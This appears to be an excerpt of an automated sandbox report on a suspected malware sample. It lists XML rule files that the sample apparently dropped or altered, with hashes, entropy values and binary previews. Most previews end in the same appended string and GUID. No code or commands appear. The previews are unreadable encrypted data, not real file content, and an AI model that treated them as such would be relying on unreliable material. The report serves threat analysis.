C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170030v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.736391285851769
Encrypted:	false
SSDEEP:	24:+rDDe0iMLViKzqxW5ZuQ7Y6THAr+bW4xWCIEar2bD:uvLDqxW5AQkkgraTRjZD
MD5:	04403D931ADEBE71B2D6B7DB9D751F84
SHA1:	0C3C08C62DBECE71BAF445AE635AC7B6FB44069F
SHA-256:	246E15FE17CE116D016F179BAD0BBBCA1BF6E08C3805622C2F897DFE6661FA0A
SHA-512:	F60D80D723C31153A750880C518FB4CA00C535A8BFC96B279A5038A652E622BE64A0612D7C927942E581388E6D499FF83A4E2AF5B8E7B07AD972B117B5D73965
Malicious:	false
Preview:	<?xml..y.3.W...m..8[.`.~.q...)...@..;...'4.-M...O..=N.2.\|...$6..&_X._h..O.`.^... ..'...R69......4Y>..G.U.t_[n.1...n..O;X..D8.9.6..kx=H.}Q.Q..*].,b.\X.]..,....H.L.ss...R..T..Nt.WE...N"..........W.B`g.....u{..../.....8.-T).........6.......u......i:7.B...Y._.^.r.......O.H1)IZ.=..j.......t.zB....%I..v....C.^!.^..9X.x..u [F..5.F....O.%.?.H<......wb..I..=.....n.&1Gy.?..ld.\....N..o?.9...xm ...KEOY.. Oq....-..PE.T..lj..$..l..9a.p.B&..c.lL...s....0...m2?6W..]F..M...L....<..B...eiB...i.r..&`u.Ne.S.O..6U...?w.........2@."eW2.%#3..%../.0..7.;..~..E.@.]f.....,O.a...<...W$O?1.j...lH....+q.O..jec{....\....?...Y...6....._.&w....L~.!Q..D..].lvk.4......W~.~.H/,^.W.[Y4".O...r..9n...%..V..Q]..)...).ny.J..0...Zg..WMA.b.,BZ..,..4.v......U..UW7p.C.3P.b....\|..g.....b..WR.]....W!...ImMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170032v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.776600527601694
Encrypted:	false
SSDEEP:	24:ExAAhE5/KOU8Wy6VSrTVDMTU7UUB0bRAQXEpsAx4nqZtc70wn2bD:d5e8WyCSrTV1QUB0NpEyiNO0wkD
MD5:	C9A1CFA67A11CE79F068216D0E2FF2AB
SHA1:	BEAE65AE528644AC53441EF1FDB6F0FFCF121E14
SHA-256:	5A2443EDD58A5D08B9E41EBAC6D6916881E0B8639BD03600BFA69112A8BA6E38
SHA-512:	962F1A34878BC1430EEEF79CC90EF987E27B356E28096C14803B5EA42440701E61E0664D8449F31B7CF5227C8AEAE18EC0DCD9105A133237D81129CF1FFF45C3
Malicious:	false
Preview:	<?xml.mqK.I.......c{n..J...<.TjR.....f...\|IcU.TAI..D7..>..........d.16..f.....^.9..O..7...;...I...h.3P...-...P....G..n..B.\|.$............~..+9.,........e.o{..L...a.A....H.....T...D..yx.....U]..:..+...M.'.., Hs..d.h.=.0..\.X:h.!.I.0.......K.7........D.....3-.X...1..o...1..Cg.$.i`!;.(#b...k.(.v....z.p.\|Cf..(....<...6..v.S..E..).r(.{...Ba.......%.9.....ve..M._U.-h....u...=....'VB..v...e^$.W....yPX..oY0...@VW2..?WJ.."...F.%...q.Z..6.O.X.ZF......9NB.....-K.;A.+...Re...P.....D.....k..Q.=........-EN\|XGD#G..YXd.".N.....(...7. ".o...I...u..A.n.. {..h.P...?%.;2;..-1..J.....8..^#.rR......~q..v8....%.f...W_..7....<.~..A.Dky.....TQ..u:..}.X.3..g.N.."s.Z..r.t{..V..8PN..."k...E.Y./......#..n0b.z...U.K.x......(Cc.=.KC..JV........j>.s.j.q\|.y).$...k......$i...,X..s.9.^h.....o.3./...1.....D. ....U5 .\|b-G...o..tp.."C2.x(...\|"..0..q...pM6..(uC%9mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170033v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.683972683532176
Encrypted:	false
SSDEEP:	12:Hq3Su2goJBnZf3fwpUK6QlRb6C70IckfpWO+lAmFGb2HwrR8a6yH3bhMnSUdNciD:Hqx2govZf34DRb6C702fpWO+y3D6q3Fk
MD5:	9D5C4C984E68BC9736CD82FC60D239B1
SHA1:	7D3B321116FBC4BBD2A314016876E64BA4D2EABD
SHA-256:	3407B5021736927D8E73B7ADCBFB0F540BCA143F289FF9317AA21581ECAD4850
SHA-512:	BB9BFE1A5C6C8F5F3BE6E2F14CEFB6A46CEF939E97B14147E04EADD42D506EBDBE76CDC6CE53158081C020C5F13D5E96F2D03711396CC4F498DFB56AECC0A445
Malicious:	false
Preview:	<?xml..y_...R..e.kE....E...8...... ..e..P.%..W...!..%........ju&.....`..E.o..J..]#.p....Q.yA....F...)..K.>.2.;?.z.b.u...e..)..I...&.M....B.]...\.l.b{,.^.z"%......5....A.c..x....9...>.C.F.eqPW)..-.}.=...J."...+4..5.zI....M..^..2.......X.z..Q...c.m......."u7............"..>._bG...n...O04......e..n.....[....c.].h..G.5................%..w..w`u`...3....^....C!...Qk.... ...^r...[..Bo..G&....XC.G..}K.D.YKs$6T..; ....%...H%..m.......=.Y.z..LM....W.J..I.`..w.!e[........m..p.P..PR....@..(p..g..!..7G....'.a...F2..Z.J...g[.....P..I.a.....RUJ..x......tg,l/....IS."....V.2.Y`>m...N.2Ak.'e99..m.4..,..>..X.........b..d..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170034v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.828125280218926
Encrypted:	false
SSDEEP:	24:yGh9GUE6v5fQ7Ttm5RiNOPXH6Z5fn4FpYdxM2bD:DTW6Q7BCQavFpWxfD
MD5:	99D69EBB90F8B927E628244DFDF50627
SHA1:	B41832F925CF8F7C02847A8FF468C875FB26D674
SHA-256:	D551C7994AE52DACE1C80BCB70B9D3F7659BDB1BDC4D17919BBF141CEE709C6B
SHA-512:	11F7DE54438B6F4C4E777073B99B7C901F6A04D925BCB2763AD757B75F7D9B00686FC5CB22B7EB1DF2417B30D37D180790DBB68DA705667CBD021CF45987B4A0
Malicious:	false
Preview:	<?xml..uM~{./!..&.w.....~&.P..r......ZC....m.%...cc.I#.8~...N...w.9..Mq}.....r....L...{....2...YBd.V.#.t..\1.C..x......w?.M.....s......F.Fo......}....`LP...CG4..z...-iO...^..,...7.c%.N...lF...J]\|Q..k.....a.~......'....\.u.L<..v.c~_..6..]..... G...C...,...[c?.......L...M...R.J.k.6$&C.......%.[..../...'.....2.J.F..e..R.{..xm.x..#....>.R.+....7B..D..r..~.....:^.W...![.4.........X.......c...f..I."..W....<.M .r`"s..B&..=.D.dN.).B.9M.A...l...,.6s_.4.\|.\x....j..+.%......9k.<.b..L.M.....1.%.i..v.4{lv..............mv.......[..a..d......sq...dL.Th.[........T...j..">..U.a..>..m....s.;.`.Q....-j.{...\.......z..Z..N..)5.o.'....Uf..P1A.v.....Q...c.O......':.....D...L...../......o.&[.\....u..pO....N.T..}:t......t.k._..=eg0..\.........;..X.Y..f..n...\|..K....j....#.]:.`....c.+.0..(...d.......v..`...Sw......U..t...F....S...B.A....Z....)..V.........)dY..rv.h'+.M...G....3.I.L8.'qA..2.\|&].&..g]...>.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170035v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.8025937501020755
Encrypted:	false
SSDEEP:	24:K17j2/9kEwKy+64l+eLZFv+BHbL7ePKayEy1Hg+sd0dkIIZ2bD:k7j2F/ybpoZ8Hbfeilj1u6DD
MD5:	78B0C433BE5E5ADCEB58E69D6B0DF6AC
SHA1:	7149C0D5917107818609471EF03BA34431530632
SHA-256:	BAF5CE39E4948BDEFB49D61F590FEF17F204CEA20568FB2FE4974282311FA2E3
SHA-512:	0243FCF42CE4B06E8962D5A6EED1F864DF6300C36C15BB535A43742F214474A8034B983948F66D9CC75A0FB6A4E083FF20E3387C15D09A07D21B9BB90BC4A8AB
Malicious:	false
Preview:	<?xml.R...x>xB..b.s..>. DO.(....e...zzk.R.7..T..U...y.s_z.W.t.S..$....18eX..&...f.D.5...q9..6q.ib[s0J\|...}B....rX..U..W....v.B....5...\. Kpx.b...".....(jy.ru...C..s8... u..Ir...Jb.Nc..O...W..[L..C?.....y' ..VyS(.+\|..Y.6C...WsF.?"M,.R...K..ne9.\.Y^p. p$..Xz......`..^..].H]...i.n.._.D....e...=..~.BF..........n.....h>....?^D.A2.-6...+.a...Sw\eZ..b..\.}..Dx....?3........e.T.m...z.....9L......].$..E..n....~.@..........Ug..&...f.(.l3.[.f`..Ur.Q.^LT\|...l.T_.d...S....l<.J..F...&..\^.b..2.Z........A.!.......,...o..0/..{..lL=D..k...78-.(.9^m..._..h.2i.2-........ .......-.Y/...7.l$.)........9.x.;..`4."q.K/.a.......9^.m/....k...,......G..C"1......Ph. b..R..ae~C.9.,uO&..i.7..O..Tg:.,U<\+.-.L..G....K..eI..'..%:.y.}kU..m...8..]....5..j.K.[w....t"..J...P9;.3. ..E....4......._......`.B]..a...i....;..P.m.O..,..d..:.u.......t..7...Z..kr..DY.f.dN.........x.l.....^N3Da......Qk,.......M.0HC.I.E]=..u.@..-..I....l.._.y2`w.d....... ....G.!p...6...e2.(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170037v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	7.875706977087651
Encrypted:	false
SSDEEP:	24:MB0mc2jX7YZmGYFUyHdgLCyOlRLC1aBB5gQnHMhu2Yz/0EOVNnCc4za+H2bD:MJc2jNxFL0xOLLKi0QnHeu2YzXEnnosD
MD5:	B4E69A51CB2E558746C0AA01D849896A
SHA1:	61E1ECE0B3FD2E058516E68314F329D031ECD082
SHA-256:	D813ACCA92EF3B6292BEF7E930DDF9FFBAEA191DB6416C6535F3DDAD477DA1A6
SHA-512:	CE2310E164ACFB9851E3A0D29A5B7C977EC6D75B659D0043D73C304C0A6B1D180E50D68314D1D00FD08ED98565EF40B9206CCD87E1656F499B1F2AE10CF5A44A
Malicious:	false
Preview:	<?xml.q.\|.+.:S.....M..DB...8..`..O"..nzd....VR..C.\...0}.<.n./..Q..V..V..3...LlvcT...Oj\0..f..Z.F..R......R.O%..E.J.I.>=....;3.......X..e1.=.b=.\....5.....l.,.M...f}ZV]E.......=~..!.....(....4.+..3.`.o!`T...........E...}..p.n..K.-..\hpnm.y#..W.....C.9..V.W.Ql5:...%.5z...<C.....^..\|.w.?.\u.:./bL...{U..f...Y.L..R.L....)&....X~.w.I....L..6..#r...v\|...sz..i.../n9.^..V.>..f......#U._.........{....!i.N..q.1~...3<..8....?m?N.#.]61.z.P....e=.. I.......2J.\|....d..u{E.......A...(...r...n.!a..7~8.VxW...Il.....G....k.e.}'t.Q..g];...E....e.......=..Q....[..P.=z.#....f6/.k=.N..B.....G.@...J.B.v.{p.8O<...r]..0....hP..S.J.....M..".A...1....!.7..V..d?H>.d..M.@...O...........g.b..L.<.....J......@..U.L...".Z. ....t.a...i.Q.5.....A.5p.....9.g...]zC^..o...2......i:.....&\|? ....6$..b.H.L%.l^\...AP.k..5..x].\|..C....C^.pU....p.....].Z@...e...d.f..Pt..I....!".u/.U..y.y.O......2.7.R.to.4....(... aC...T.U..~`...P..Jw.Ev.Y..5....D22@'...L..D.%...y^.....@_..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170038v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	7.772943734690517
Encrypted:	false
SSDEEP:	24:HietttZcwp0uoQaCR6kLAs/Z5W1Dd4UfLg2bD:HdLZcw+uoe8E/Zs5LTD
MD5:	8389DDAE4E16A22346D86578C301ACEB
SHA1:	A8A980A01A6F153CE4C4E5A4F4C0B5071F075E3B
SHA-256:	52F3C7933CEEEDF9499342BC98E0BC6089B63281B9D1A860B49490E169E10E06
SHA-512:	7F42FAF11B34716CB0ACAE5E02442C4EA2E289E361777FA6BE32DE3E8B4FD1C0F858D730E07DF7F9C0AD76B8AD716CA6F2B6314728FBAD882807B82C393352B1
Malicious:	false
Preview:	<?xml....u[%j.wk.jA...x.v....t.I...q..F{...A;....}...`.0..b...u.X....R..Y......)4....\|._...~.......S.c8.;.>'vf.........].z...........um.....[.J......X...P.~y=.+'......(..3...>.Z."..P.?.....F....-..0of.f.r..F.d.JY.sB.Tw.....O.u..M........1.@...y......{..v..fb.I.........mK.+...j{....}8D!D.....g..?L.....fy..&?O...W.Um..4...-.n.......#;KY.h@ .r..<.5.A.....(....k..nu...S'.K.....=`M: .W..@..EI....y.c%.O.....Y.%..~...6..y.C;*....2..-./Q...0.T.Al>.........C.{.A..[9.C........Z#.......i....[z....D[..e....1..uK0-...A.,v.&{.k...HK.MK..2P48.y.....zH..E.....\~.Y.1V(.X3.......&C...@...R....X0^f....b...0.tr9[.k......D.}...HG..&..{,.B...l]Q.....\|..Ef..(b.....S......L.>.0....`.......M.`.a..FT...8C.G.m.....a\^O....U..,.g...).....g+..F...$:......cW.G..Y.\|..oB$.ro..U..H..]..^.S%2...t...p..kw.@.1..m9.=...d..ug.4w..:F.......=.1..@...Jg=...L.P}...=&..R....q.H}ed.U..uE.F..n......oJ.U.....!.1..!....<....9..q~dqAo...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170039v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.789633888413539
Encrypted:	false
SSDEEP:	24:k4eCj8Ie86z+ewRovcw4kinf09lerFiM92HzSU9NN2bD:k4ibVvcwtQ0HerAM0eEmD
MD5:	CB39B80928E9960EDEBF4A8A889DB4D9
SHA1:	A32B76566604DA718859DB95251C7CD7F9F133F0
SHA-256:	695CA3C94A85B56B1D569DD45BD270296B0ECE046C582D1547B8650F4B3C2402
SHA-512:	D34BBE13CBF4B585F57EC52FB8FB33D5901059B206079C12B1A1C8AAA11537F8BBB783C055DCB2CFC0206F3C04E85EC6D83566654487F94824120CF7FBE81777
Malicious:	false
Preview:	<?xml_...?].oF.BB.'.dE.R.7".G..U.....!+...lo.......V...]..!:..&.....N.........4..y.4.V....Np_x.W.QJ...c...,.6.2.K..u..........cZ..n.zx.M\|.{..S.{....,..\.EO..1..wr..Vk.....Y8...kM/...?.....p.\|..9I...t...._..=..".x.d..<G...P.......y....O.3j7....aT.6d7..#cD.....AG...[..%'.Y..=:.W...s\.L%x.....&.6..yVf8.;..Z..L9...2......>.....)y.....}g..1q.p+m..k.....UM..t..8..\|....^.3.i...]o"..&..{..?.D.?.e..L......./-6.BN..h.....`.....^.l..T.+.....S...M.kR.k..'R...... /.....&j..."..29....q.-.......HiB..:....Y..D.=..@..o.. ._....e\..I..G.\..}...G3;R.l>f.......Z=l..:.J@6.7........`....S.N..N...{..j<.....T.P.(ue.5..c..N..d.".....wS8...{1.._.`+......O./I.<m.2.H.i.. ^[...>..*ee...M.I)YH..b.D].9.......W.@...\"..!...V.8..$...!.X....p.c...i.3"7t.......\|.....'..G..{.Ys..S;_}..5;...F..M..+,`...3...MX\|O~)n"....+.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170040v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.651052497183441
Encrypted:	false
SSDEEP:	12:h/PLwHVzLSo3Wm9/05r7GGlliKGO50ILX5AKnq5C1jJ69L83xcC9SkKYdUyzSUdV:pPLwHV/SoGp7GYlinO+m5JnqLLePXKYh
MD5:	DC1CEEFCB77064C32A887CFF3A8F225A
SHA1:	DA49B91947507D081A43B4556FABFD4117A291D5
SHA-256:	C8BCF9B03B5828EB527C0BFFB92F9A5EAA369432451BBB7E63D44DEBB1CC37AF
SHA-512:	F4718320C64193C083DC2C8131C1403A3C55205C8EF40C642D88C5D14A09E5FFE80443564C490F8E5178E81B76EDEF9CC2C3CB4C098AB590ACB86E11781457D7
Malicious:	false
Preview:	<?xml.Q...."i.h..$..t..l........T.{..t.Uj..B.[.}.H-\.?H[.. ?js....v_........k.~..........A7..5.)&.@..{D...fwQ...?&x%u..5...=..k5-..Z...?<.s..D......6Sm-..J.T<C..D..i...T...9.gq8.LX.j..1.&.J..s.x...v......p......g.A..M3.".Wr...#..)P.qj.dQBU..I...d..8.....EJ[..._...o....}.?....1a~Dp.... .h..6ex.R.Y.>..dz.;....-..J.B..U..;..q.P.V..y+.vXMs.iF.~..%#.....T..I.$........l >.).g....rr6...m.q.........G~]McVu ......!.%.g/...YU.v..O.u.=.9...~.k.'..{.:Q=.G*.....c...>.F..4.x...V...$.>.zE^)cS."..=c..DS.;....{Q...k.....:R..?.h........pR.@i.6....U......w.m8#../.O......I.0..@-6BZ.W.j..r.s..}TO..k.oY.g.{.H.cu..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170041v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	7.846846864346784
Encrypted:	false
SSDEEP:	24:XBfV3qFhWM7PxjFjxCn8Wp8TEJdZO5qNz/dcKLaTFeq9r2bD:Rfght7PBFi8WiTETZQ0hagqGD
MD5:	7A7648E0304F7AF17A306B162D79A349
SHA1:	EBF527D2D90069661A67FFD581D69A50E24B7E42
SHA-256:	104304D3045D9911A8D3C46C3F341A4C3A110AB3AFEAF08F618B89BCF688D1C3
SHA-512:	BD9736682A094F748E8D03428E9FC5F1E5B311F970B2E7DD50BF27B43E88168164711BAD114057D2AE8DCF5752896E47DEE28F36A39B3512F8C6AD50DBF70E5A
Malicious:	false
Preview:	<?xml4....#.h.g....}.^........-e.M..LL.9...[.~..e.......gH.$.V..E4.@'....[lf.9.../ia.h6........."..ER(.".>.....d.0...U...^V .;c.......>.Q.8 ...Q...::....o.<...U.j..^=.j...N.\@..c...d.......}.6....,."......)7..3...ho.%=`D....8.A[.....,.>..}6i.w...i5....V].x."....\|..9..M..z.....f.:Xl.e...b5u3.k.S...?..nq...(.D.Y..C{x0.....+.${5....B.......R?L.`1..h.(;.....3.)g..p..0....Y..\......+.xh.214.Y..ND.j..v.'...x.m?.'$.:.5{^F.@(N.0.L..m.T&W)..o...d=.n..?Z...JSJA.ob!pC-.g..0.b...\|K...C.#........b7.6..sy j6..Ht..)~\W..t..m......................v..o.fy...M.L.F..QS.M..1...$.zh..<...G......w.d.o?...jBcH........?..vV...!W...."..#.#..b.!.T...}.`..7>.Y.../.......Z_z=.....Y.fQRU\....V........hI.hl$..\|7.z.&B<8.........z...d/....:!/YN.O...z...#/..&\|..x...`.=n...V;./.i...`.X..u...`R.01c..-/\|..."K.p.X....oRgY^......3...3...A;.`v.D.)c.j.........P.i....Jr.........."k....K.%3.V.P.~....?.....p...X.]......."..h..yUe.?....S...\M....*c.'z...r...&FW=a..V....D.=?.y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170042v4.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.771672582152772
Encrypted:	false
SSDEEP:	24:lJ9UtoDYTxjg7+l6kb0alI8O6qWFeAzTSk8V42bD:lJ48YTxjg7+lP0/ae2StVD
MD5:	8171727ABF3BE87999B0443E05A3C11B
SHA1:	910951A15898B58C94E103A4787CCDBC7696BBE1
SHA-256:	E2247525828E1BFB02FE06C82ABA56D816BFE67D57E4BA9408C16CE1E9C6107D
SHA-512:	B9B8A74F6E22B042AC96B325B3C32A60C925D617E6666F84C4A5E713C25D71A3B08E2A1D147BF74CC0D03A8A4F3FE06F83E04DBB90A36B0EE514C57BE6D4DAAD
Malicious:	false
Preview:	<?xml...t}....g'...B/T...B...N......>)..`.5...<f0l.9'L...Q..F}......@gN.w....Z.GG.%^T..!....T....;.}}.......qp.d..A..4.Vo.a.J..cl..H.,.g?z..h...^<....O^.........W.S on..d!.... y.Z_q{..J.nU..N...&u..`..q....5.S..N..J.1.z%.no.I......DA...]..N_2-mz/A....(d.k.......z.....sq....w.;..Axd.........z;.sx.=l..........`.E.G..="..J..J..E.-....].^..;c.+.,.r.RS...]...;Z..[.Lgh..D.m..).Q9.Gs...w+.W....f\|FG.....~.].....U...M.....M.f.\._z..\|..x5...YUN...'WS..E..u...3Sd.!V.d!.....I..w...%@.}j........;B.,N.;._..MO.>..Y...\|/.9..(.......L.j...d...9.G1...0Q.Y..]......?.. ..]....p.....x..Q.;.\|.7B.}T.R...../o..&.]1....od.h}.<v0...\|K.../tx(<.(s....uU.Od.E......g5.?...Y."..Y.Yp..x.v.....;<.w&.l:.m....I7k...0..]..,..t.4c.3qKI....w.\|Y...@}..-.HW4].Dn...I\.&k.-.BYn..V`..RH...N..J..ki.S.........$...O\...6...v..p.;)..RP....X.i.z.y..XZ.@...4.YA....zI....,..A$.....p....N..i...&qi...h..V].h.4..l.r(...9...Rb.......C.....d....=3.Vs....$i...y,...mMsRxMUuXypapZbGOAfxD9pczHmW8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170043v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.737638599248416
Encrypted:	false
SSDEEP:	24:5sNOYVhQ3YazPXoirB52MqGzRNA6pHEIkFqC2bD:bYVh1azfoAXA6pk7FuD
MD5:	E47F4984358FC59CDA587D77F6E9145B
SHA1:	594D69999E23F0B20354C21A50039A7EE67171F6
SHA-256:	A88079163AA5EB1AB1830022C2B04634DC1556CE6AEECFEA242242E52F42703C
SHA-512:	A945F59A4F7E9CD94E4075DEAE44496591AABEC4D31E969D7B79269B237B329A4F7ACF191FE8390FC374AE0924A2A3AF6EFB084F8FAAF42CAC83744AB0F9E316
Malicious:	false
Preview:	<?xml.f.........e.[.....F/.?.98f..87.J...]..F.:......-...?...........}R..i..a.MN.)..\..2^.,....dF....g...L........S....j3i...A?.m.gj3..r...vh~..[uo5...\|.oI...l>...Iq]q.if...d...L.z:/9...~.....(........=...+.7..!..G.C,..\|...V.3...p.`.E...."....C.o....Y'...ri....Z.w..........\|].l...L...T.U...3=.6....BY.U..5k..".....!J.u.(SqM..A...Z..453.3#3?C.>...l...q.zH7.._t;..........}...&M\|f.PO...ga.c..t.n+...e<.2..&.}g.@.......Jxl...D.T.%O.d...R=~..W7..y..L.v.=c..K...$g..u..Q..=..j..ET~..-.}.?zt.A.AE20<......nCL.c......s.........t4TKc.v.F.h...p\|T8.&.~~3.p8U.d...2...v..0D....$&\{.o+...A..x#Q\...<...I.^.C.fKv.'9....H.cA.cPt...`.......t..5...]...7..V...[..~h....xI.a..O.5..=W...cV.E.$.......u.2dXmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170044v4.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	853
Entropy (8bit):	7.700294156918403
Encrypted:	false
SSDEEP:	24:6ROyneig1kklnjv5xMHBK4YkWdmP9g+IjCCTYQE2bD:MYR1kkDxMhLlWdmP9NIjVYAD
MD5:	485156ACE6FD4DF1EE5956FB2242E0F8
SHA1:	CF68309AAD5DC69E2F944C801837569369156F37
SHA-256:	46074AAD8D189FD58965378C4556406BD1E9334DC20FD41F72A1779FB406898A
SHA-512:	6759F2BDAEBDE4172ADE60E063A9B4B3FA5E1C01651B120C93ECE670CDE2B298B31A9B429B8DA49511B6BAA6855BD509E5B1D00ECA178EA3B42EDCC6278D6CA3
Malicious:	false
Preview:	<?xml.eW..Zy.p/...m...t........g...E..h......q.0@-.~.v.@.O......3\|.3...&.'."5.Z.I.....I`H...:...)ir..>...].u.../..Y.0....{.fb...d.....jmi...H.........M..........z..W..9....aFi.55B.vJKg..1.CYS@.P...O......@...mj....)fE.I..&#V.r...!.\%..jW........J.-...\..-v...UFS.,*....!.bX6.IDG._D..V4p.s........v{R........8..e.X.gfJ....B.2.+w...w..B\v..%..2.....6......47..$..@..U.5H._A.u5.5.K..i..f{Cv.k.."....k.&.^...A.-.....'.xE...}..PEu.<.e....C.{R.'t..C........$...f&.Su.P...[.'..-.c>.T.49Q.B.!fr.;Q.&.....6nz.....C.1..j.6.\i.?..)...o.r$....x....Bq`.,.1U..M.,[^.g......E'..4.g.CU..;..E.;.7..z....bH..}.^..>....#%Xm.B...EO)...6W.....k..!^..Z...[...'...7.E.....R..4./.U@..4.^..Kg.9...0R...43.c.y.../.&}.r...7".a.7R.h.eX4.../-....#...T.(r..R..AmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170048v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	7.764346938559474
Encrypted:	false
SSDEEP:	24:wG4LFljz/N5jD5vxTaivKxuuWOtcd01MwoO2bD:eRlTV5RMuJOid0Swo1D
MD5:	706052FD7D025DE8B8BFE5579659EEEF
SHA1:	1F1DD513312D966F5D89BC81C01B6A4EC7195C6A
SHA-256:	BC45F743B7D64AA7DE090664899C860D68F5FEEA342C96811293962425C2F164
SHA-512:	81020624E48DAFF7B1BED5720455EEB9D3FC77EED7D4AFEC1EE3A3C4D1FEEBBB6693EEE91BE6F2A5B02FEE03841DDC14473EEE23AC0A0DAAB08309C4BC5981B8
Malicious:	false
Preview:	<?xmlY.8.....Cyc..]c.\|.W...}...5.>Y...k.{.5F7.%?.H.M.........^TK...'..F.r~.O}.y/...6X..X....(.....J..]..j..hKv!wv.BN....H....H_.#L.L....p7M.n.(....f...yE..:..&q..C.....f..[..%.luN).}S.....aU...V...9)?..g...\!l:jq...D.}.. ..Z...R....%.fG...0...Y..jT.a.U..x;].t.(.{<r.b......o/.....\.O.&./....\|L..R.<.e..'...XH.UZ.S..]'..nPR.....w.%.q.R..+DH..Ka.g........@...MT...5Q.#.##....wTQ..9D..&>..q.g^e=..x.....x7.D.y..H....w.b...%..z.$...~.. .....;.xa .o.m.qKv>......2..}..r.\|..........A.....\.7$`....../.!L.b.5....cNMm.Sn9o[c.a...+...Q=.K......;....KL....K/[)2..^~\|......t..Fm..<.W.r&W....).v..g.).......}..q...2.n,K...T.0...+.Q.=; . ..xj;~I.c.....h.I..O.......Q.!..C._.X..J..\|.`.E...9.Jv.+..F.qd.k.`.#......tSK....$...21?.L.{......2.=.[k..1]_N. ..i.<..K\|C..l^..*....peG..b10sx..v)......v .9,..\~M..:...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170050v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3310
Entropy (8bit):	7.944022203208487
Encrypted:	false
SSDEEP:	48:IfcNl2aSyc8Qld3BRGOXgmtkvpukT108I5/9h1ZcOfIr3GJHob9XrFj5KMAhD:OcNl2apc8G4bydk5086Fh1C/r3Fp+
MD5:	1664DCD196EA216CF709C9123D863FB9
SHA1:	8467905D9FC0A927231EB232483F76A20AA5EEB9
SHA-256:	8E37E06DF842E77FA2B26FC720F3DEFD00BAB8633C19BB7CA64FA5B5B1418BF6
SHA-512:	2FD8E2D2A18E049C575FB588D53E1F015679D293EF218EA3194B18C26E2FE32082596578BF9E423380E08F1CC4EAA21A21FE257DDDF9512829EC1B2A31906AAB
Malicious:	false
